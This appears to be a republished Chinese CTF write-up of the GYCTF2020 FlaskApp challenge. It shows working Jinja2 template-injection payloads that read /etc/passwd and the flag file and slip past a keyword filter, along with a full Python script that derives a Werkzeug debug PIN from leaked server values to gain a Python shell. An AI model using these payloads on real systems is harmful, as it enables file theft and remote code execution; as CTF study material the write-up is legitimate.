記一次Flask模板注入學習 [GYCTF2020]FlaskApp


題目已經提示了這題需要進行Flask模板注入,打開題目后是一個用flask寫的一個base64加解密應用。官方write up說看到根據提示1,失敗乃成功之母,應該能想到flask的debug模式。但是我當時看到的時候並沒有想到是debug模式,這就是沒有進行足夠積累的后果。

然后習慣性對base64解密頁面進行報錯實驗,發現了部分源碼。

 

 提示解密界面存在ssti,且存在waf會過濾掉關鍵詞,然后返回no no no !!。經過測試發現waf過濾的部分關鍵詞包括import、popen、system、eval、flag等。

在加密界面對{{6+6}}進行加密,結果為e3s2KzZ9fQ==,再在解密界面進行解密,發現成功返回了

 

 於是構造語句,{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}進行文件讀取

 

 由於不知道flag的存放位置和名字,所以要通過獲取pin碼打開python shell

PIN 機制在 [Flask debug 模式 PIN 碼生成機制安全性研究筆記](https://www.cnblogs.com/HacTF/p/8160076.html) 一文中有詳細的研究。

由官方write up總結出,生成PIN的關鍵值有如下幾個:

* 1. 服務器運行flask所登錄的用戶名。 通過/etc/passwd中可以猜測為flaskweb 或者root ,此處用的flaskweb

* 2. modname 一般不變就是flask.app

* 3. getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)。python該值一般為Flask 值一般不變

* 4. flask庫下app.py的絕對路徑。通過報錯信息就會泄露該值。本題的值為

 

 

* 5.當前網絡的mac地址的十進制數。通過文件/sys/class/net/eth0/address 獲取:

 

 轉換為10進制得:

 

* 6.最后一個就是機器的id。

對於非docker機每一個機器都會有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系統沒有這兩個文件,windows的id獲取跟linux也不同。

對於docker機則讀取/proc/self/cgroup:

 

 可知,機器id為

 

 於是接下來就是獲取PIN值,計算PIN值的關鍵代碼在Lib\site-packages\werkzeug\debug\\_\_init__.py

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.7/site-packages/flask/app.py',
]

private_bits = [
    '2485410391036',
    '25f34b1b3cf9815ee85b0089a6203547ca22efbdbbc16f0c39d70fb528f773a1'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

獲取PIN值為

 

 打開python shell得到flag

 其實知道了flag的文件名和路徑之后也能通過注入語句進行讀取{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/this_is_the_fl'+'ag.txt').read()}},這里涉及到語句拼接,不過在這題有些多此一舉了。

[這里放一個有用的鏈接](https://zhuanlan.zhihu.com/p/28823933)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM